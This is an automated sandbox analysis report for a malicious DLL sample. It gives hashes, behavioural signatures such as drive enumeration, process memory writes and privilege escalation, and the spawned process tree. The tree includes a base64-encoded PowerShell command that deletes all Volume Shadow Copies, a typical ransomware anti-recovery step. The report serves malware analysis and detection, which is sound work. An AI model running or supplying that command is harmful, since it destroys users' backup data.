Analysis
- max time kernel
90s - max time network
156s - platform
windows10-2004_x64 - resource
win10v2004-20220414-en - submitted
15/06/2022, 03:45
Static task
static1
Behavioral task
behavioral1
Sample
2afd8d5a9d39f59c6827acae7b915f3306bf2cf243ed19733e03af014e158542.dll
Resource
win7-20220414-en
0 signatures
0 seconds
Behavioral task
behavioral2
Sample
2afd8d5a9d39f59c6827acae7b915f3306bf2cf243ed19733e03af014e158542.dll
Resource
win10v2004-20220414-en
0 signatures
0 seconds
General
- Target 2afd8d5a9d39f59c6827acae7b915f3306bf2cf243ed19733e03af014e158542.dll
- Size 164KB
- Sample220615-ebct1sfef2
- SHA256 2afd8d5a9d39f59c6827acae7b915f3306bf2cf243ed19733e03af014e158542
- MD5 b1bfced23e482fe588af810faf9dbe9e
- SHA1 e767d3573c0b463db710d5144f42c92faee8fbba
- SHA512 40a73b63de0ed234bf92fd0b5824145493feabd7c2ea9b65bbca76578be540afe4e6b092e7b1804f442ba2b5d342ac85cc93f65b5b9b9f8f1380f5a87c171d99
- MD5 SHA1 SHA512
Score
6/10
Malware Config
Signatures
- Enumerates connected drives 3 TTPs 24 IoCs
Attempts to read the root path of hard drives other than the default C: drive.
description ioc Process File opened (read-only) \??\I: rundll32.exe File opened (read-only) \??\J: rundll32.exe File opened (read-only) \??\K: rundll32.exe File opened (read-only) \??\L: rundll32.exe File opened (read-only) \??\N: rundll32.exe File opened (read-only) \??\O: rundll32.exe File opened (read-only) \??\Z: rundll32.exe File opened (read-only) \??\A: rundll32.exe File opened (read-only) \??\B: rundll32.exe File opened (read-only) \??\H: rundll32.exe File opened (read-only) \??\M: rundll32.exe File opened (read-only) \??\P: rundll32.exe File opened (read-only) \??\R: rundll32.exe File opened (read-only) \??\T: rundll32.exe File opened (read-only) \??\X: rundll32.exe File opened (read-only) \??\Y: rundll32.exe File opened (read-only) \??\G: rundll32.exe File opened (read-only) \??\S: rundll32.exe File opened (read-only) \??\E: rundll32.exe File opened (read-only) \??\F: rundll32.exe File opened (read-only) \??\Q: rundll32.exe File opened (read-only) \??\U: rundll32.exe File opened (read-only) \??\V: rundll32.exe File opened (read-only) \??\W: rundll32.exe - Suspicious behavior: EnumeratesProcesses 4 IoCs
pid Process 4516 rundll32.exe 4516 rundll32.exe 4640 powershell.exe 4640 powershell.exe - Suspicious use of AdjustPrivilegeToken 4 IoCs
description pid Process Token: SeDebugPrivilege 4640 powershell.exe Token: SeBackupPrivilege 4092 vssvc.exe Token: SeRestorePrivilege 4092 vssvc.exe Token: SeAuditPrivilege 4092 vssvc.exe - Suspicious use of WriteProcessMemory 5 IoCs
description pid Process procid_target PID 2600 wrote to memory of 4516 2600 rundll32.exe 81 PID 2600 wrote to memory of 4516 2600 rundll32.exe 81 PID 2600 wrote to memory of 4516 2600 rundll32.exe 81 PID 4516 wrote to memory of 4640 4516 rundll32.exe 83 PID 4516 wrote to memory of 4640 4516 rundll32.exe 83
Processes
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C:\Windows\system32\rundll32.exerundll32.exe C:\Users\Admin\AppData\Local\Temp\2afd8d5a9d39f59c6827acae7b915f3306bf2cf243ed19733e03af014e158542.dll,#11⤵
- Suspicious use of WriteProcessMemory
PID:2600 -
C:\Windows\SysWOW64\rundll32.exerundll32.exe C:\Users\Admin\AppData\Local\Temp\2afd8d5a9d39f59c6827acae7b915f3306bf2cf243ed19733e03af014e158542.dll,#12⤵
- Enumerates connected drives
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:4516 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -e RwBlAHQALQBXAG0AaQBPAGIAagBlAGMAdAAgAFcAaQBuADMAMgBfAFMAaABhAGQAbwB3AGMAbwBwAHkAIAB8ACAARgBvAHIARQBhAGMAaAAtAE8AYgBqAGUAYwB0ACAAewAkAF8ALgBEAGUAbABlAHQAZQAoACkAOwB9AA==3⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4640
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-
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C:\Windows\system32\vssvc.exeC:\Windows\system32\vssvc.exe1⤵
- Suspicious use of AdjustPrivilegeToken
PID:4092